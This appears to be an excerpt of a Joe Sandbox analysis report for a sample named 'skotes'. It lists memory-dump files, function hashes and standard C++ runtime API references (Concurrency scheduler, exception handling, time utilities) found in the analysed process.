Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: ed770382cfb9f88730cb89880fe6a381ff49a9c67791c850fd9301ece7611ea7
Instruction ID: c832446330c62436e30eedf28f89c2f942486cad98a16484ae46aeaddf61b233
Opcode Fuzzy Hash: ed770382cfb9f88730cb89880fe6a381ff49a9c67791c850fd9301ece7611ea7
Instruction Fuzzy Hash: E541D270608210ABCF19AB24C896BADBBF5EF46320F0440D9E5079B782DF70AD45C7A1

Function 00BA56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00BA56F2
_InternalDeleteHelper.LIBCONCRT ref: 00BA5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00BA578B
SafeRWList.LIBCONCRT ref: 00BA579A

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 440053fca2b8cb65e139fa5356b3dd58d8d3ffa30b24c1ef37aab32fa20a9602
Instruction ID: 99285853db732b506948a6a73f13ad1377168e7f6febef29cbc3fe921749204e
Opcode Fuzzy Hash: 440053fca2b8cb65e139fa5356b3dd58d8d3ffa30b24c1ef37aab32fa20a9602
Instruction Fuzzy Hash: F43126367056109FDF15AF20C881AADB7E6EFCA710F1841B9E90AAF355DF30AD018B90

Function 00BA2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00BA2D0F

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 831e09b33a30e144b0e3e2e46406ab3530d4a91ed61e16215c8304a8b72c6bfa
Instruction ID: 5d6bea98ade6ee7605e096fec04c0c23012cd6bc9ef045421d7c2e2e11abdb3a
Opcode Fuzzy Hash: 831e09b33a30e144b0e3e2e46406ab3530d4a91ed61e16215c8304a8b72c6bfa
Instruction Fuzzy Hash: C0313875A04309DFCF14EF98C9C0AAEBBF9EB46310F1404EAD941AB346D730A945DBA0

Function 00BB13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BB13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00BB1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00BB147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00BB152A

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 70b2b457138247b1d4ae5f1a453a102399d32cb0f42e469fd27681421a5041a0
Instruction ID: 2453d08938f43a5da0f41a470527e1440f9bee8c63c9ebe146da1cadde72c3e2
Opcode Fuzzy Hash: 70b2b457138247b1d4ae5f1a453a102399d32cb0f42e469fd27681421a5041a0
Instruction Fuzzy Hash: C7318D71A006069BCF14EFA9C4919EDFBF1BF48710B5486ADE416A7391DB74AA01CB90

Function 00B9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BBE4
_xtime_get.LIBCPMT ref: 00B9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BC13

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction ID: 592f2f7214de587e357e006ea6b28f9e90db438ae3c0b7f788d8437b7c4a2a1a
Opcode Fuzzy Hash: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction Fuzzy Hash: E3213175A01119AFDF00EFA4DD81EBEBBB9EF08710F1000A5F501B7291DB309D059BA0

Function 00BA9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BA9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00BA9CE8
std::bad_exception::bad_exception.LIBCMT ref: 00BA9CFE
std::bad_exception::bad_exception.LIBCMT ref: 00BA9D6A

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
